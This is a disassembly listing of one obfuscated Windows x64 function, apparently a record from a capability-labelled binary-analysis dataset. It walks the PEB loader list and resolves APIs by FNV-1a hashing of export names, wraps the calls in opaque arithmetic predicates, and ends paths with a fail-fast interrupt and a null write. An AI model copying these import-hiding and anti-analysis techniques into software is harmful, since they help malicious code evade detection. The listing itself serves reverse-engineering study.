Function at 0x140123f2c
Capabilities:
Access peb ldr_data
Enumerate gui resources
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x60]
sub rsp, 0x160
mov rax, qword [0x140290440]
xor rax, rsp
mov qword [rbp + 0x58], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
lea rdx, [rbp + 0x88]
movabs rcx, 0xff00ff00ff00ff07
mov qword [rbp - 8], rcx
mov qword [rbp], rdx
mov rax, qword [rdx]
xor rax, rcx
mov qword [rbp - 0x10], rax
xor r12d, r12d
mov qword [rdx], r12
call fcn.140167c78
movsx r9d, al
call fcn.140167c74
movsx ecx, al
imul r9d, ecx
call fcn.140167c84
movsx r10d, al
lea ecx, [r9 + r10]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea ecx, [rcx + r9*4]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14012b76c
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movzx eax, byte [0x141716b03]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [rsp + 0x28], xmm1
imul ebx, r9d, 7
add ebx, r10d
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
lea r13d, [r12 + 1]
cmp eax, ecx
je 0x140124079
call fcn.140167c7c
movsx edx, al
movsx eax, byte [0x141716b78]
imul edx, eax
add edx, edx
call fcn.140167c88
movsx ecx, al
sub edx, ecx
call fcn.140167c80
movsx ecx, al
add edx, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x140124079
mov r11d, r13d
jmp 0x1401240df
lea ecx, [r9 + r10]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea ecx, [rcx + r9*8]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401240da
lea ecx, [r9 + r10]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea ecx, [rcx + r9*2]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x28]
cvttsd2si r11d, xmm0
jmp 0x1401240df
mov r11d, dword [rsp + 0x20]
lea eax, [r9 + r9*2]
lea edi, [r10 + rax*2]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r11d
test eax, eax
je 0x14012b76c
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
mov r15d, 8
cmp eax, ecx
je 0x140124e2f
mov cl, byte [0x141716b01]
mov al, byte [0x141716b06]
test al, al
je 0x14012414d
test cl, cl
je 0x140124166
test cl, cl
je 0x140124155
test al, al
je 0x140124166
test al, al
je 0x14012416b
cmp byte [0x141716b03], r12b
je 0x140124166
test cl, cl
jne 0x14012416b
mov rdx, r13
jmp 0x14012416e
mov rdx, r12
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rdx
mulsd xmm1, xmm0
movsd qword [rsp + 0x28], xmm1
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401241fd
call fcn.140167c7c
movsx edx, al
movsx eax, byte [0x141716b78]
imul edx, eax
add edx, edx
call fcn.140167c88
movsx ecx, al
sub edx, ecx
call fcn.140167c80
movsx ecx, al
add edx, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401241fd
mov r11d, r13d
jmp 0x140124263
lea ecx, [r9 + r10]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea ecx, [rcx + r9*8]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14012425e
lea ecx, [r9 + r10]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea ecx, [rcx + r9*2]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x28]
cvttsd2si r11d, xmm0
jmp 0x140124263
mov r11d, dword [rsp + 0x20]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r11d
test eax, eax
je 0x140124e2f
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, r10d
lea eax, [rax + r9*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140124433
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movzx eax, byte [0x141716b05]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [rsp + 0x28], xmm1
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14012434d
call fcn.140167c7c
movsx edx, al
movsx eax, byte [0x141716b78]
imul edx, eax
add edx, edx
call fcn.140167c88
movsx ecx, al
sub edx, ecx
call fcn.140167c80
movsx ecx, al
add edx, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x14012434d
mov r10d, r13d
jmp 0x1401243e7
call fcn.140167c78
movsx edx, al
call fcn.140167c74
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*8]
call fcn.140167c84
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401243e2
call fcn.140167c78
movsx edx, al
call fcn.140167c74
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*2]
call fcn.140167c84
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x28]
cvttsd2si r10d, xmm0
jmp 0x1401243e7
mov r10d, dword [rsp + 0x20]
call fcn.140167c78
movsx edx, al
call fcn.140167c74
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*2]
call fcn.140167c84
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r10d
test eax, eax
je 0x140124433
call fcn.140167c8c
mov rdx, qword [0x1417184d0]
test rdx, rdx
jne 0x140124598
mov edi, r12d
mov esi, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov r11, r14
movups xmm0, xmmword [r11 + 0x58]
movd eax, xmm0
sub ax, r15w
test edi, edi
je 0x1401244aa
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14012449d
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14012448e
cmp edx, edi
jne 0x140124573
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140124573
mov ebx, dword [r10 + 0x18]
test ebx, ebx
je 0x140124573
mov r15d, dword [r10 + 0x20]
dec ebx
lea rdx, [r15 + rbx*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401244fc
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x1401244f1
cmp edx, esi
je 0x140124510
test ebx, ebx
jne 0x1401244dd
jmp 0x14012456d
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14012458b
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x14012458b
mov edi, 0x811c9dc5
mov esi, edi
jmp 0x14012454e
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140124540
jmp 0x140124561
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
test al, al
jne 0x140124556
mov r11, qword [r14]
mov r15d, 8
mov rax, qword [r11]
mov r11, rax
cmp rax, r14
je 0x140124588
cmp qword [rax + 0x30], r12
jne 0x140124462
mov rdx, r12
mov qword [0x1417184d0], rdx
mov r15d, 8
mov ecx, 0x99
call rdx
mov rbx, qword [0x141718608]
test rbx, rbx
jne 0x1401246fe
mov edi, r12d
mov esi, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov r11, r14
movups xmm0, xmmword [r11 + 0x58]
movd eax, xmm0
sub ax, r15w
test edi, edi
je 0x140124616
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140124609
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1401245fa
cmp edx, edi
jne 0x1401246df
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1401246df
mov ebx, dword [r10 + 0x18]
test ebx, ebx
je 0x1401246df
mov r15d, dword [r10 + 0x20]
dec ebx
lea rdx, [r15 + rbx*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140124668
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x14012465d
cmp edx, esi
je 0x14012467c
test ebx, ebx
jne 0x140124649
jmp 0x1401246d9
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov ebx, dword [r8 + rdx*4]
add rbx, r9
cmp rbx, r10
jbe 0x1401246f7
lea rcx, [r10 + rax]
cmp rbx, rcx
jae 0x1401246f7
mov edi, 0x811c9dc5
mov esi, edi
jmp 0x1401246ba
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rbx, r13
mov al, byte [rbx]
cmp al, 0x2e
jne 0x1401246ac
jmp 0x1401246cd
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, r13
mov al, byte [rbx]
test al, al
jne 0x1401246c2
mov r11, qword [r14]
mov r15d, 8
mov rax, qword [r11]
mov r11, rax
cmp rax, r14
je 0x1401246f4
cmp qword [rax + 0x30], r12
jne 0x1401245ce
mov rbx, r12
mov qword [0x141718608], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x141718600]
test rdx, rdx
jne 0x140124866
mov edi, r12d
mov esi, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov r11, r14
movups xmm0, xmmword [r11 + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x140124782
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140124775
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140124766
cmp edx, edi
jne 0x140124847
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140124847
mov ebx, dword [r10 + 0x18]
test ebx, ebx
je 0x140124847
mov r15d, dword [r10 + 0x20]
dec ebx
lea rdx, [r15 + rbx*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401247d4
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x1401247c9
cmp edx, esi
je 0x1401247e8
test ebx, ebx
jne 0x1401247b5
jmp 0x140124847
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14012485f
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x14012485f
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x140124828
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14012481a
jmp 0x14012483b
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
test al, al
jne 0x140124830
mov r11, qword [r14]
mov rax, qword [r11]
mov r11, rax
cmp rax, r14
je 0x14012485c
cmp qword [rax + 0x30], r12
jne 0x14012473a
mov rdx, r12
mov qword [0x141718600], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1417185f8]
test rdx, rdx
jne 0x1401249c5
mov edi, r12d
mov esi, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov r11, r14
movups xmm0, xmmword [r11 + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x1401248e1
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1401248d4
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1401248c5
cmp edx, edi
jne 0x1401249a6
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1401249a6
mov ebx, dword [r10 + 0x18]
test ebx, ebx
je 0x1401249a6
mov r15d, dword [r10 + 0x20]
dec ebx
lea rdx, [r9 + rbx*4]
mov r8d, dword [rdx + r15]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140124933
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x140124928
cmp edx, esi
je 0x140124947
test ebx, ebx
jne 0x140124914
jmp 0x1401249a6
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x1401249be
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x1401249be
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x140124987
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140124979
jmp 0x14012499a
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
test al, al
jne 0x14012498f
mov r11, qword [r14]
mov rax, qword [r11]
mov r11, rax
cmp rax, r14
je 0x1401249bb
cmp qword [rax + 0x30], r12
jne 0x140124899
mov rdx, r12
mov qword [0x1417185f8], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1417185f0]
test rdx, rdx
jne 0x140124b24
mov edi, r12d
mov esi, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov r11, r14
movups xmm0, xmmword [r11 + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x140124a40
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140124a33
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140124a24
cmp edx, edi
jne 0x140124b05
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140124b05
mov ebx, dword [r10 + 0x18]
test ebx, ebx
je 0x140124b05
mov r15d, dword [r10 + 0x20]
dec ebx
lea rdx, [r9 + rbx*4]
mov r8d, dword [rdx + r15]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140124a92
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x140124a87
cmp edx, esi
je 0x140124aa6
test ebx, ebx
jne 0x140124a73
jmp 0x140124b05
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x140124b1d
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x140124b1d
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x140124ae6
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140124ad8
jmp 0x140124af9
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
test al, al
jne 0x140124aee
mov r11, qword [r14]
mov rax, qword [r11]
mov r11, rax
cmp rax, r14
je 0x140124b1a
cmp qword [rax + 0x30], r12
jne 0x1401249f8
mov rdx, r12
mov qword [0x1417185f0], rdx
xor ecx, ecx
call rdx
cmp qword [0x1417185e8], r12
jne 0x140124c82
mov edi, r12d
mov esi, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov r9, r14
movups xmm0, xmmword [r9 + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x140124b9c
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140124b8f
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140124b80
cmp edx, edi
jne 0x140124c63
mov r10, qword [r9 + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x140124c63
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x140124c63
mov r15d, dword [r11 + 0x20]
dec ebx
lea rdx, [r10 + rbx*4]
mov r8d, dword [rdx + r15]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x140124bee
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x140124be3
cmp edx, esi
je 0x140124c02
test ebx, ebx
jne 0x140124bcf
jmp 0x140124c63
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + rbx*2]
mov r9d, dword [r8 + rdx*4]
add r9, r10
cmp r9, r11
jbe 0x140124c7b
lea rcx, [r11 + rax]
cmp r9, rcx
jae 0x140124c7b
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x140124c42
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add r9, r13
mov al, byte [r9]
cmp al, 0x2e
jne 0x140124c34
jmp 0x140124c56
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r9, r13
mov al, byte [r9]
test al, al
jne 0x140124c4b
mov r9, qword [r14]
mov rax, qword [r9]
mov r9, rax
cmp rax, r14
je 0x140124c78
cmp qword [rax + 0x30], r12
jne 0x140124b54
mov r9, r12
mov qword [0x1417185e8], r9
xor ecx, ecx
int 0x29
mov r9d, r12d
call fcn.140167c74
movsx edx, al
call fcn.140167c78
movsx ecx, al
imul edx, ecx
lea ebx, [rdx + rdx*8]
call fcn.140167c84
movsx ecx, al
add ebx, ecx
call fcn.140167c74
movsx edx, al
call fcn.140167c78
movsx ecx, al
imul edx, ecx
imul esi, edx, 7
call fcn.140167c84
movsx ecx, al
add esi, ecx
call fcn.140167c74
movsx r11d, al
call fcn.140167c78
movsx ecx, al
imul r11d, ecx
call fcn.140167c84
movsx edi, al
mov r10d, dword [rsp + 0x20]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x28], xmm1
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140124d97
call fcn.140167c7c
movsx edx, al
movsx eax, byte [0x141716b78]
imul edx, eax
add edx, edx
call fcn.140167c88
movsx ecx, al
sub edx, ecx
call fcn.140167c80
movsx ecx, al
add edx, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x140124d97
mov r10d, r13d
jmp 0x140124dee
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140124dee
lea ecx, [r11 + rdi]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea ecx, [rcx + r11*2]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x28]
cvttsd2si r10d, xmm0
cmp r9d, r10d
jge 0x140124e1d
mov rax, r13
mov qword [rsp + 0x20], rax
mov rcx, r13
mov qword [rsp + rcx*8 + 0x20], rax
mov rax, qword [rsp + 0x20]
add rax, r13
mov rcx, rax
mov qword [rsp + 0x20], rax
jne 0x140124dfe
add r9d, r13d
jmp 0x140124ceb
mov qword [0], 0x99
mov r15d, 8
call fcn.140167c78
movsx edx, al
call fcn.140167c74
movsx ecx, al
imul edx, ecx
lea r10d, [rdx + rdx*8]
call fcn.140167c84
movsx ecx, al
add r10d, ecx
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, r10d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140126b39
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movzx eax, byte [0x141716b06]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [rsp + 0x28], xmm1
call fcn.140167c78
movsx edx, al
call fcn.140167c74
movsx ecx, al
imul edx, ecx
imul r9d, edx, 7
call fcn.140167c84
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140124f2d
call fcn.140167c7c
movsx edx, al
movsx eax, byte [0x141716b78]
imul edx, eax
add edx, edx
call fcn.140167c88
movsx ecx, al
sub edx, ecx
call fcn.140167c80
movsx ecx, al
add edx, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x140124f2d
mov r9d, r13d
jmp 0x140124fa6
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, r10d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140124fa1
call fcn.140167c78
movsx edx, al
call fcn.140167c74
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*2]
call fcn.140167c84
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x28]
cvttsd2si r9d, xmm0
jmp 0x140124fa6
mov r9d, dword [rsp + 0x20]
call fcn.140167c78
movsx edx, al
call fcn.140167c74
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.140167c84
movsx ecx, al
lea r10d, [rcx + rdx*2]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, r10d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r9d
test eax, eax
je 0x140126b39
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, r10d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140125d88
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mov rax, r12
cmp byte [0x141716b01], r12b
sete al
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x28], xmm1
call fcn.140167c78
movsx edx, al
call fcn.140167c74
